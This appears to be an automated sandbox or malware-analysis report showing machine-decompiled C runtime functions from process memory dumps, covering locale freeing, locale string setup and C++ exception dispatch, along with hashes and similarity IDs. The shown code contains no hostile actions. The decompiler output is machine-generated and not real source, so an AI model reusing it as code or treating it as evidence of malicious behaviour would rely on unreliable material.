Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 5b5660e56233e2bccdd1d482c4d1d7b7581326c3305effce74eb8b288abf493a
Instruction ID: d6ff21241db66fb8ec79d646b2ab8d4d1005bc51c4994b3bd4e27b7c525734b8
Opcode Fuzzy Hash: 5b5660e56233e2bccdd1d482c4d1d7b7581326c3305effce74eb8b288abf493a
Instruction Fuzzy Hash: F3A11632A041449FCF29EF78EC927BE3BA5EB46328F18025DE812AF291C7758D12D755

Uniqueness

Uniqueness Score: -1.00%

Function 004BD301, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004BD301(char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t53;
				void _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				signed int _t64;
				char _t92;
				char _t100;
				void* _t101;
				signed int _t104;
				void* _t107;
				char* _t122;
				signed int _t126;
				intOrPtr* _t131;
				void* _t132;
				intOrPtr* _t133;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				char* _t138;

				_t100 = _a4;
				_v28 = _t100;
				_v24 = 0;
				if( *((intOrPtr*)(_t100 + 0xb0)) != 0 ||  *((intOrPtr*)(_t100 + 0xac)) != 0) {
					_v16 = 1;
					_t53 = E004B2F72(_t101, 1, 0x50);
					_v8 = _t53;
					if(_t53 != 0) {
						_t104 = 0x14;
						memcpy(_t53,  *(_t100 + 0x88), _t104 << 2);
						_t131 = E004B3009(0, 4);
						_t126 = 0;
						_v12 = _t131;
						E004B2FCF(0);
						_pop(_t107);
						if(_t131 != 0) {
							 *_t131 = 0;
							if( *((intOrPtr*)(_t100 + 0xb0)) == 0) {
								_t132 = _v8;
								_t57 =  *0x4eb098; // 0x4eb090
								 *_t132 = _t57;
								_t58 =  *0x4eb09c; // 0x4ee440
								 *((intOrPtr*)(_t132 + 4)) = _t58;
								_t59 =  *0x4eb0a0; // 0x4ee440
								 *((intOrPtr*)(_t132 + 8)) = _t59;
								_t60 =  *0x4eb0c8; // 0x4eb094
								 *((intOrPtr*)(_t132 + 0x30)) = _t60;
								_t61 =  *0x4eb0cc; // 0x4ee444
								 *((intOrPtr*)(_t132 + 0x34)) = _t61;
								L19:
								 *_v12 = 1;
								if(_t126 != 0) {
									 *_t126 = 1;
								}
								goto L21;
							}
							_t133 = E004B3009(_t107, 4);
							_v20 = _t133;
							E004B2FCF(0);
							if(_t133 == 0) {
								L11:
								E004B2FCF(_v8);
								E004B2FCF(_v12);
								return _v16;
							}
							_push(_v8);
							 *_t133 = 0;
							_t127 =  *((intOrPtr*)(_t100 + 0xb0));
							_t134 = E004BAC52(_t100,  *((intOrPtr*)(_t100 + 0xb0)), _t133);
							_t135 = _t134 | E004BAC52(_t100,  *((intOrPtr*)(_t100 + 0xb0)), _t134,  &_v28, 1,  *((intOrPtr*)(_t100 + 0xb0)), 0xf, _v8 + 4,  &_v28);
							_v16 = _v8 + 8;
							_t136 = _t135 | E004BAC52(_t100, _t127, _t135,  &_v28, 1, _t127, 0x10, _v8 + 8, 1);
							_t137 = _t136 | E004BAC52(_t100, _t127, _t136,  &_v28, 2, _t127, 0xe, _v8 + 0x30, _t127);
							if((E004BAC52(_t100, _t127, _t137,  &_v28, 2, _t127, 0xf, _v8 + 0x34, 0xe) | _t137) == 0) {
								_t122 =  *_v16;
								while( *_t122 != 0) {
									_t92 =  *_t122;
									if(_t92 < 0x30 || _t92 > 0x39) {
										if(_t92 != 0x3b) {
											goto L16;
										}
										_t138 = _t122;
										do {
											 *_t138 =  *((intOrPtr*)(_t138 + 1));
											_t138 = _t138 + 1;
										} while ( *_t138 != 0);
									} else {
										 *_t122 = _t92 - 0x30;
										L16:
										_t122 = _t122 + 1;
									}
								}
								_t126 = _v20;
								_t132 = _v8;
								goto L19;
							}
							E004BD298(_v8);
							_v16 = _v16 | 0xffffffff;
							goto L11;
						}
						E004B2FCF(_v8);
						return 1;
					}
					return 1;
				} else {
					_t126 = 0;
					_v12 = 0;
					_t132 = 0x4eb098;
					L21:
					_t64 =  *(_t100 + 0x80);
					if(_t64 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t100 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t64 | 0xffffffff) == 0) {
							E004B2FCF( *((intOrPtr*)(_t100 + 0x7c)));
							E004B2FCF( *(_t100 + 0x88));
						}
					}
					 *((intOrPtr*)(_t100 + 0x7c)) = _v12;
					 *(_t100 + 0x80) = _t126;
					 *(_t100 + 0x88) = _t132;
					return 0;
				}
			}

0x004bd30a
0x004bd311
0x004bd314
0x004bd31d
0x004bd33c
0x004bd33f
0x004bd344
0x004bd34b
0x004bd35e
0x004bd35f
0x004bd368
0x004bd36a
0x004bd36d
0x004bd370
0x004bd376
0x004bd379
0x004bd38c
0x004bd394
0x004bd4ee
0x004bd4f1
0x004bd4f6
0x004bd4f8
0x004bd4fd
0x004bd500
0x004bd505
0x004bd508
0x004bd50d
0x004bd510
0x004bd515
0x004bd47e
0x004bd484
0x004bd488
0x004bd48a
0x004bd48a
0x00000000
0x004bd488
0x004bd3a1
0x004bd3a4
0x004bd3a7
0x004bd3b0
0x004bd445
0x004bd448
0x004bd451
0x00000000
0x004bd45a
0x004bd3b6
0x004bd3b9
0x004bd3be
0x004bd3d2
0x004bd3e6
0x004bd3f2
0x004bd400
0x004bd41a
0x004bd436
0x004bd460
0x004bd473
0x004bd464
0x004bd468
0x004bd4db
0x00000000
0x00000000
0x004bd4dd
0x004bd4df
0x004bd4e2
0x004bd4e4
0x004bd4e7
0x004bd46e
0x004bd470
0x004bd472
0x004bd472
0x004bd472
0x004bd468
0x004bd478
0x004bd47b
0x00000000
0x004bd47b
0x004bd43b
0x004bd440
0x00000000
0x004bd444
0x004bd37e
0x00000000
0x004bd386
0x00000000
0x004bd327
0x004bd327
0x004bd329
0x004bd32c
0x004bd48c
0x004bd48c
0x004bd494
0x004bd496
0x004bd496
0x004bd49e
0x004bd4a3
0x004bd4a7
0x004bd4ac
0x004bd4b7
0x004bd4bd
0x004bd4a7
0x004bd4c1
0x004bd4c6
0x004bd4cc
0x00000000
0x004bd4cc

APIs

_free.LIBCMT ref: 004BD370
_free.LIBCMT ref: 004BD37E
_free.LIBCMT ref: 004BD4AC
_free.LIBCMT ref: 004BD4B7

Strings

@N, xrefs: 004BD500
DN, xrefs: 004BD510
@N, xrefs: 004BD4F8

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID: @N$@N$DN
API String ID: 269201875-95471587
Opcode ID: b5a9e389aa254042dce70f216a2f32f77fbb28ed1f8b5cd2830eb09921ce6248
Instruction ID: 620b9ed788cc5ef679bbbdde6e78add46e834bae98315cdb043e8cb399df271f
Opcode Fuzzy Hash: b5a9e389aa254042dce70f216a2f32f77fbb28ed1f8b5cd2830eb09921ce6248
Instruction Fuzzy Hash: 6F61D371D00205AFDB20DF65C842BEABBF4EF44310F1441ABE954EB342E774AD419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00492A32, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00492A32(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				intOrPtr _t37;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr _t50;
				signed int _t51;
				signed int _t56;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;

				_t50 = __ecx;
				_push(0x64);
				E0049D93F(0x4d6dcb, __edi, __esi);
				_t49 = _t50;
				 *((intOrPtr*)(_t68 - 0x6c)) = E004A5AB9();
				_t32 = E00489787(_t68 - 0x68);
				_t51 = 0xb;
				_t66 = _t32;
				 *((intOrPtr*)(_t68 - 0x70)) = _t49;
				memcpy(_t68 - 0x3c, _t66, _t51 << 2);
				_t70 = _t69 + 0xc;
				_t62 = _t66 + _t51 + _t51;
				_t67 = 0;
				 *((intOrPtr*)(_t49 + 8)) = 0;
				 *((intOrPtr*)(_t49 + 0x10)) = 0;
				 *((intOrPtr*)(_t49 + 0x14)) = 0;
				 *((intOrPtr*)(_t68 - 4)) = 0;
				E00489787(_t68 - 0x68);
				_t76 =  *((char*)(_t68 + 0xc));
				if( *((char*)(_t68 + 0xc)) == 0) {
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t68 - 0x6c)) + 8));
				} else {
					_t37 = 0x40f063;
				}
				_push(_t68 - 0x68);
				_push(_t67);
				 *((intOrPtr*)(_t49 + 8)) = E004302EE(_t62, _t67, _t68, _t76, _t37);
				 *((intOrPtr*)(_t49 + 0x10)) = E0048BD4A(_t49, _t62, _t67, "false", _t67, _t68 - 0x3c);
				_t42 = E0048BD4A(_t49, _t62, _t67, "true", _t67, _t68 - 0x3c);
				_t71 = _t70 + 0x24;
				 *((intOrPtr*)(_t49 + 0x14)) = _t42;
				if( *((char*)(_t68 + 0xc)) == 0) {
					_t67 = _t68 - 0x3c;
					_t56 = 0xb;
					_push( *((intOrPtr*)(_t68 - 0x6c)));
					memcpy(_t71 - 0x2c, _t67, _t56 << 2);
					_t62 = _t67 + _t56 + _t56;
					_push(0);
					_t44 = E0048BB7A(_t49, _t49, _t67 + _t56 + _t56, _t67, __eflags);
				} else {
					 *((short*)(_t49 + 0xc)) = E0048BD19(0x2e, _t67, _t68 - 0x3c);
					 *((short*)(_t49 + 0xe)) = E0048BD19(0x2c, _t67, _t68 - 0x3c);
				}
				return E0049D8E9(_t44, _t62, _t67);
			}

0x00492a32
0x00492a32
0x00492a39
0x00492a3e
0x00492a45
0x00492a4c
0x00492a53
0x00492a54
0x00492a56
0x00492a5c
0x00492a5c
0x00492a5c
0x00492a5e
0x00492a60
0x00492a63
0x00492a66
0x00492a6c
0x00492a70
0x00492a75
0x00492a7b
0x00492a87
0x00492a7d
0x00492a7d
0x00492a7d
0x00492a8d
0x00492a8e
0x00492a95
0x00492aa7
0x00492ab4
0x00492ab9
0x00492abc
0x00492ac3
0x00492aed
0x00492af2
0x00492af5
0x00492af8
0x00492af8
0x00492afa
0x00492afe
0x00492ac5
0x00492ad1
0x00492ae4
0x00492ae4
0x00492b08

APIs

__EH_prolog3_GS.LIBCMT ref: 00492A39
__Getcvt.LIBCPMT ref: 00492A4C
__Getcvt.LIBCPMT ref: 00492A70
_Maklocstr.LIBCPMT ref: 00492AA2
_Maklocstr.LIBCPMT ref: 00492AB4
_Maklocchr.LIBCPMT ref: 00492ACC
_Maklocchr.LIBCPMT ref: 00492ADC
_Getvals.LIBCPMT ref: 00492AFE

Part of subcall function 0048BB7A: _Maklocchr.LIBCPMT ref: 0048BBA9
Part of subcall function 0048BB7A: _Maklocchr.LIBCPMT ref: 0048BBBF

Strings

false, xrefs: 00492A9D
true, xrefs: 00492AAF

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocchr$GetcvtMaklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 2593140031-2658103896
Opcode ID: 1b794403c0e2ed099c2747d619b99f1e635c68d51cf8e98238ac27895ff0e1ec
Instruction ID: 31ba32b91284d4dbf03300cb929e666aaf157df395ef2d33d70c23c77514e452
Opcode Fuzzy Hash: 1b794403c0e2ed099c2747d619b99f1e635c68d51cf8e98238ac27895ff0e1ec
Instruction Fuzzy Hash: 27216771D00204BEDF14FFA1D845A9F7BA8EF04714F14842BB9059F242D7789544CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004A171D, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004A171D(signed int __ecx, signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, char _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				signed int* _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				void* _v72;
				char _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v104;
				void _v108;
				intOrPtr* _v116;
				signed char* _v188;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t203;
				void* _t204;
				char _t206;
				signed int _t208;
				signed int _t210;
				signed char* _t211;
				signed int _t212;
				signed int _t213;
				signed int _t217;
				void* _t220;
				signed char* _t223;
				void* _t226;
				void* _t227;
				signed int _t232;
				void* _t234;
				signed int _t235;
				void* _t238;
				intOrPtr* _t253;
				void* _t256;
				signed int* _t258;
				signed int _t259;
				intOrPtr _t260;
				signed int _t261;
				void* _t266;
				void* _t268;
				void* _t271;
				signed char* _t275;
				intOrPtr* _t276;
				signed char _t277;
				signed int _t278;
				signed int _t279;
				intOrPtr* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t288;
				signed int _t295;
				signed int _t296;
				intOrPtr _t299;
				signed int _t305;
				signed char* _t306;
				signed int _t307;
				signed int _t308;
				signed int* _t310;
				signed char* _t313;
				signed int _t323;
				signed int _t324;
				signed int _t326;
				signed int _t335;
				void* _t337;
				void* _t339;
				void* _t340;
				void* _t341;
				void* _t342;

				_t305 = __edx;
				_t280 = __ecx;
				_push(_t324);
				_t310 = _a20;
				_v32 = 0;
				_v5 = 0;
				_t203 = E004A26AA(_a8, _a16, _t310);
				_t340 = _t339 + 0xc;
				_v16 = _t203;
				if(_t203 < 0xffffffff || _t203 >= _t310[1]) {
					L69:
					_t204 = E004AEA83(_t275, _t305, _t310, _t324);
					asm("int3");
					_t337 = _t340;
					_t341 = _t340 - 0x38;
					_push(_t275);
					_t276 = _v116;
					__eflags =  *_t276 - 0x80000003;
					if(__eflags == 0) {
						return _t204;
					} else {
						_push(_t324);
						_push(_t310);
						__eflags =  *(E004A13A1(_t276, _t280, _t305, _t310, _t324, __eflags) + 8);
						if(__eflags != 0) {
							_t324 =  *0x4f01d0(0);
							_t226 = E004A13A1(_t276, _t280, _t305, 0, _t324, __eflags);
							__eflags =  *((intOrPtr*)(_t226 + 8)) - _t324;
							if( *((intOrPtr*)(_t226 + 8)) != _t324) {
								__eflags =  *_t276 - 0xe0434f4d;
								if( *_t276 != 0xe0434f4d) {
									__eflags =  *_t276 - 0xe0434352;
									if( *_t276 != 0xe0434352) {
										_t217 = E0049EC91(_t276, _a4, _a8, _a12, _a16, _a24, _a28);
										_t341 = _t341 + 0x1c;
										__eflags = _t217;
										if(_t217 != 0) {
											L86:
											return _t217;
										}
									}
								}
							}
						}
						_t206 = _a16;
						_v28 = _t206;
						_v24 = 0;
						__eflags =  *(_t206 + 0xc);
						if( *(_t206 + 0xc) > 0) {
							_push(_a24);
							E0049EBC3(_t276, _t280, 0, _t324,  &_v44,  &_v28, _a20, _a12, _t206);
							_t307 = _v40;
							_t342 = _t341 + 0x18;
							_t217 = _v44;
							_v20 = _t217;
							_v12 = _t307;
							__eflags = _t307 - _v32;
							if(_t307 >= _v32) {
								goto L86;
							}
							_t282 = _t307 * 0x14;
							__eflags = _t282;
							_v16 = _t282;
							do {
								_t283 = 5;
								_t220 = memcpy( &_v64,  *((intOrPtr*)( *_t217 + 0x10)) + _t282, _t283 << 2);
								_t342 = _t342 + 0xc;
								__eflags = _v64 - _t220;
								if(_v64 > _t220) {
									goto L85;
								}
								__eflags = _t220 - _v60;
								if(_t220 > _v60) {
									goto L85;
								}
								_t223 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t288 = _t223[4];
								__eflags = _t288;
								if(_t288 == 0) {
									L83:
									__eflags =  *_t223 & 0x00000040;
									if(( *_t223 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E004A169D(_t307, _t276, _a4, _a8, _a12, _a16, _t223, 0,  &_v64, _a24, _a28);
										_t307 = _v12;
										_t342 = _t342 + 0x30;
									}
									goto L85;
								}
								__eflags =  *((char*)(_t288 + 8));
								if( *((char*)(_t288 + 8)) != 0) {
									goto L85;
								}
								goto L83;
								L85:
								_t307 = _t307 + 1;
								_t217 = _v20;
								_t282 = _v16 + 0x14;
								_v12 = _t307;
								_v16 = _t282;
								__eflags = _t307 - _v32;
							} while (_t307 < _v32);
							goto L86;
						}
						E004AEA83(_t276, _t305, 0, _t324);
						asm("int3");
						_push(_t337);
						_t306 = _v188;
						_push(_t276);
						_push(_t324);
						_push(0);
						_t208 = _t306[4];
						__eflags = _t208;
						if(_t208 == 0) {
							L111:
							_t210 = 1;
							__eflags = 1;
						} else {
							_t281 = _t208 + 8;
							__eflags =  *_t281;
							if( *_t281 == 0) {
								goto L111;
							} else {
								__eflags =  *_t306 & 0x00000080;
								_t313 = _v0;
								if(( *_t306 & 0x00000080) == 0) {
									L93:
									_t277 = _t313[4];
									_t326 = 0;
									__eflags = _t208 - _t277;
									if(_t208 == _t277) {
										L103:
										__eflags =  *_t313 & 0x00000002;
										if(( *_t313 & 0x00000002) == 0) {
											L105:
											_t211 = _a4;
											__eflags =  *_t211 & 0x00000001;
											if(( *_t211 & 0x00000001) == 0) {
												L107:
												__eflags =  *_t211 & 0x00000002;
												if(( *_t211 & 0x00000002) == 0) {
													L109:
													_t326 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t306 & 0x00000002;
													if(( *_t306 & 0x00000002) != 0) {
														goto L109;
													}
												}
											} else {
												__eflags =  *_t306 & 0x00000001;
												if(( *_t306 & 0x00000001) != 0) {
													goto L107;
												}
											}
										} else {
											__eflags =  *_t306 & 0x00000008;
											if(( *_t306 & 0x00000008) != 0) {
												goto L105;
											}
										}
										_t210 = _t326;
									} else {
										_t187 = _t277 + 8; // 0x6e
										_t212 = _t187;
										while(1) {
											_t278 =  *_t281;
											__eflags = _t278 -  *_t212;
											if(_t278 !=  *_t212) {
												break;
											}
											__eflags = _t278;
											if(_t278 == 0) {
												L99:
												_t213 = _t326;
											} else {
												_t279 =  *((intOrPtr*)(_t281 + 1));
												__eflags = _t279 -  *((intOrPtr*)(_t212 + 1));
												if(_t279 !=  *((intOrPtr*)(_t212 + 1))) {
													break;
												} else {
													_t281 = _t281 + 2;
													_t212 = _t212 + 2;
													__eflags = _t279;
													if(_t279 != 0) {
														continue;
													} else {
														goto L99;
													}
												}
											}
											L101:
											__eflags = _t213;
											if(_t213 == 0) {
												goto L103;
											} else {
												_t210 = 0;
											}
											goto L112;
										}
										asm("sbb eax, eax");
										_t213 = _t212 | 0x00000001;
										__eflags = _t213;
										goto L101;
									}
								} else {
									__eflags =  *_t313 & 0x00000010;
									if(( *_t313 & 0x00000010) != 0) {
										goto L111;
									} else {
										goto L93;
									}
								}
							}
						}
						L112:
						return _t210;
					}
				} else {
					_t275 = _a4;
					if( *_t275 != 0xe06d7363 || _t275[0x10] != 3 || _t275[0x14] != 0x19930520 && _t275[0x14] != 0x19930521 && _t275[0x14] != 0x19930522) {
						_t324 = 0;
						__eflags = 0;
						goto L24;
					} else {
						_t324 = 0;
						_t350 = _t275[0x1c];
						if(_t275[0x1c] != 0) {
							L24:
							_t280 = _a12;
							_v12 = _t280;
							goto L26;
						} else {
							_t227 = E004A13A1(_t275, _t280, _t305, _t310, 0, _t350);
							_t351 =  *((intOrPtr*)(_t227 + 0x10));
							if( *((intOrPtr*)(_t227 + 0x10)) == 0) {
								L63:
								return _t227;
							} else {
								_t275 =  *(E004A13A1(_t275, _t280, _t305, _t310, 0, _t351) + 0x10);
								_t266 = E004A13A1(_t275, _t280, _t305, _t310, 0, _t351);
								_v32 = 1;
								_v12 =  *((intOrPtr*)(_t266 + 0x14));
								if(_t275 == 0) {
									goto L69;
								} else {
									if( *_t275 != 0xe06d7363 || _t275[0x10] != 3 || _t275[0x14] != 0x19930520 && _t275[0x14] != 0x19930521 && _t275[0x14] != 0x19930522) {
										L16:
										_t268 = E004A13A1(_t275, _t280, _t305, _t310, _t324, _t358);
										_t359 =  *((intOrPtr*)(_t268 + 0x1c)) - _t324;
										if( *((intOrPtr*)(_t268 + 0x1c)) == _t324) {
											L25:
											_t280 = _v12;
											_t203 = _v16;
											L26:
											_v56 = _t310;
											_v52 = _t324;
											__eflags =  *_t275 - 0xe06d7363;
											if( *_t275 != 0xe06d7363) {
												L59:
												__eflags = _t310[3] - _t324;
												if(__eflags <= 0) {
													goto L62;
												} else {
													__eflags = _a24;
													if(__eflags != 0) {
														goto L69;
													} else {
														_push(_a32);
														_push(_a28);
														_push(_t203);
														_push(_t310);
														_push(_a16);
														_push(_t280);
														_push(_a8);
														_push(_t275);
														L70();
														_t340 = _t340 + 0x20;
														goto L62;
													}
												}
											} else {
												__eflags = _t275[0x10] - 3;
												if(_t275[0x10] != 3) {
													goto L59;
												} else {
													__eflags = _t275[0x14] - 0x19930520;
													if(_t275[0x14] == 0x19930520) {
														L31:
														__eflags = _t310[3] - _t324;
														if(_t310[3] > _t324) {
															_push(_a28);
															E0049EBC3(_t275, _t280, _t310, _t324,  &_v72,  &_v56, _t203, _a16, _t310);
															_t305 = _v68;
															_t340 = _t340 + 0x18;
															_t253 = _v72;
															_v48 = _t253;
															_v20 = _t305;
															__eflags = _t305 - _v60;
															if(_t305 < _v60) {
																_t295 = _t305 * 0x14;
																__eflags = _t295;
																_v36 = _t295;
																do {
																	_t296 = 5;
																	_t256 = memcpy( &_v108,  *((intOrPtr*)( *_t253 + 0x10)) + _t295, _t296 << 2);
																	_t340 = _t340 + 0xc;
																	__eflags = _v108 - _t256;
																	if(_v108 <= _t256) {
																		__eflags = _t256 - _v104;
																		if(_t256 <= _v104) {
																			_t299 = 0;
																			_v24 = 0;
																			__eflags = _v96;
																			if(_v96 != 0) {
																				_t258 =  *(_t275[0x1c] + 0xc);
																				_t308 =  *_t258;
																				_t259 =  &(_t258[1]);
																				__eflags = _t259;
																				_v40 = _t259;
																				_t260 = _v92;
																				_v44 = _t308;
																				_v28 = _t260;
																				do {
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					_t323 = _v40;
																					_t335 = _t308;
																					__eflags = _t335;
																					if(_t335 <= 0) {
																						goto L42;
																					} else {
																						while(1) {
																							_push(_t275[0x1c]);
																							_t261 =  &_v88;
																							_push( *_t323);
																							_push(_t261);
																							L89();
																							_t340 = _t340 + 0xc;
																							__eflags = _t261;
																							if(_t261 != 0) {
																								break;
																							}
																							_t335 = _t335 - 1;
																							_t323 = _t323 + 4;
																							__eflags = _t335;
																							if(_t335 > 0) {
																								continue;
																							} else {
																								_t299 = _v24;
																								_t260 = _v28;
																								_t308 = _v44;
																								goto L42;
																							}
																							goto L45;
																						}
																						_push(_a24);
																						_v5 = 1;
																						_push(_v32);
																						E004A169D(_t308, _t275, _a8, _v12, _a16, _a20,  &_v88,  *_t323,  &_v108, _a28, _a32);
																						_t340 = _t340 + 0x30;
																					}
																					L45:
																					_t305 = _v20;
																					goto L46;
																					L42:
																					_t299 = _t299 + 1;
																					_t260 = _t260 + 0x10;
																					_v24 = _t299;
																					_v28 = _t260;
																					__eflags = _t299 - _v96;
																				} while (_t299 != _v96);
																				goto L45;
																			}
																		}
																	}
																	L46:
																	_t305 = _t305 + 1;
																	_t253 = _v48;
																	_t295 = _v36 + 0x14;
																	_v20 = _t305;
																	_v36 = _t295;
																	__eflags = _t305 - _v60;
																} while (_t305 < _v60);
																_t310 = _a20;
																_t324 = 0;
																__eflags = 0;
															}
														}
														__eflags = _a24;
														if(_a24 != 0) {
															_push(1);
															E004A1196();
															_t280 = _t275;
														}
														__eflags = _v5;
														if(__eflags != 0) {
															L62:
															_t227 = E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags);
															__eflags =  *((intOrPtr*)(_t227 + 0x1c)) - _t324;
															if( *((intOrPtr*)(_t227 + 0x1c)) != _t324) {
																goto L69;
															} else {
																goto L63;
															}
														} else {
															__eflags = ( *_t310 & 0x1fffffff) - 0x19930521;
															if(__eflags < 0) {
																goto L62;
															} else {
																__eflags = _t310[7];
																if(_t310[7] != 0) {
																	L55:
																	__eflags = _t310[8] >> 0x00000002 & 0x00000001;
																	if(__eflags == 0) {
																		_push(_t310[7]);
																		_t232 = E004A2114(_t275, _t310, _t324, _t275);
																		_pop(_t280);
																		__eflags = _t232;
																		if(__eflags == 0) {
																			goto L66;
																		} else {
																			goto L62;
																		}
																	} else {
																		 *(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x10) = _t275;
																		 *((intOrPtr*)(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x14)) = _v12;
																		goto L64;
																	}
																} else {
																	__eflags = _t310[8] >> 0x00000002 & 0x00000001;
																	if(__eflags == 0) {
																		goto L62;
																	} else {
																		__eflags = _a28;
																		if(__eflags != 0) {
																			goto L62;
																		} else {
																			goto L55;
																		}
																	}
																}
															}
														}
													} else {
														__eflags = _t275[0x14] - 0x19930521;
														if(_t275[0x14] == 0x19930521) {
															goto L31;
														} else {
															__eflags = _t275[0x14] - 0x19930522;
															if(_t275[0x14] != 0x19930522) {
																goto L59;
															} else {
																goto L31;
															}
														}
													}
												}
											}
										} else {
											_v20 =  *((intOrPtr*)(E004A13A1(_t275, _t280, _t305, _t310, _t324, _t359) + 0x1c));
											_t271 = E004A13A1(_t275, _t280, _t305, _t310, _t324, _t359);
											_push(_v20);
											 *(_t271 + 0x1c) = _t324;
											if(E004A2114(_t275, _t310, _t324, _t275) != 0) {
												goto L25;
											} else {
												_t310 = _v20;
												_t361 =  *_t310 - _t324;
												if( *_t310 <= _t324) {
													L64:
													E004A5A7D();
												} else {
													_t302 = _t324;
													_v20 = _t324;
													while(E0043CC09( *((intOrPtr*)(_t302 + _t310[1] + 4)), _t361, 0x4ec894) == 0) {
														_t324 = _t324 + 1;
														_t302 = _v20 + 0x10;
														_v20 = _v20 + 0x10;
														_t361 = _t324 -  *_t310;
														if(_t324 >=  *_t310) {
															goto L64;
														} else {
															continue;
														}
														goto L65;
													}
												}
												L65:
												_push(1);
												_push(_t275);
												E004A1196();
												_t280 =  &_v68;
												E004A1DB4( &_v68);
												E004A1116( &_v68, 0x4e86cc);
												L66:
												 *(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x10) = _t275;
												_t234 = E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags);
												_t280 = _v12;
												 *(_t234 + 0x14) = _v12;
												_t235 = _a32;
												__eflags = _t235;
												if(_t235 == 0) {
													_t235 = _a8;
												}
												E0049EDA7(_t280, _t235, _t275);
												E004A2014(_a8, _a16, _t310);
												_t238 = E004A21D1(_t310);
												_t340 = _t340 + 0x10;
												_push(_t238);
												E004A1F90(_t275, _t280, _t305, _t310, _t324, __eflags);
												goto L69;
											}
										}
									} else {
										_t358 = _t275[0x1c] - _t324;
										if(_t275[0x1c] == _t324) {
											goto L69;
										} else {
											goto L16;
										}
									}
								}
							}
						}
					}
				}
			}

0x004a171d
0x004a171d
0x004a1724
0x004a1726
0x004a172f
0x004a1735
0x004a1738
0x004a173d
0x004a1740
0x004a1746
0x004a1acd
0x004a1acd
0x004a1ad2
0x004a1ad4
0x004a1ad6
0x004a1ad9
0x004a1ada
0x004a1add
0x004a1ae3
0x004a1c02
0x004a1ae9
0x004a1ae9
0x004a1aea
0x004a1af2
0x004a1af5
0x004a1afe
0x004a1b00
0x004a1b05
0x004a1b08
0x004a1b0a
0x004a1b10
0x004a1b12
0x004a1b18
0x004a1b2d
0x004a1b32
0x004a1b35
0x004a1b37
0x004a1bfe
0x00000000
0x004a1bff
0x004a1b37
0x004a1b18
0x004a1b10
0x004a1b08
0x004a1b3d
0x004a1b40
0x004a1b43
0x004a1b46
0x004a1b49
0x004a1b4f
0x004a1b61
0x004a1b66
0x004a1b69
0x004a1b6c
0x004a1b6f
0x004a1b72
0x004a1b75
0x004a1b78
0x00000000
0x00000000
0x004a1b7e
0x004a1b7e
0x004a1b81
0x004a1b84
0x004a1b93
0x004a1b94
0x004a1b94
0x004a1b96
0x004a1b99
0x00000000
0x00000000
0x004a1b9b
0x004a1b9e
0x00000000
0x00000000
0x004a1bac
0x004a1bae
0x004a1bb1
0x004a1bb3
0x004a1bbb
0x004a1bbb
0x004a1bbe
0x004a1bc0
0x004a1bc2
0x004a1bde
0x004a1be3
0x004a1be6
0x004a1be6
0x00000000
0x004a1bbe
0x004a1bb5
0x004a1bb9
0x00000000
0x00000000
0x00000000
0x004a1be9
0x004a1bec
0x004a1bed
0x004a1bf0
0x004a1bf3
0x004a1bf6
0x004a1bf9
0x004a1bf9
0x00000000
0x004a1b84
0x004a1c03
0x004a1c08
0x004a1c09
0x004a1c0c
0x004a1c0f
0x004a1c10
0x004a1c11
0x004a1c12
0x004a1c15
0x004a1c17
0x004a1c8f
0x004a1c91
0x004a1c91
0x004a1c19
0x004a1c19
0x004a1c1c
0x004a1c1f
0x00000000
0x004a1c21
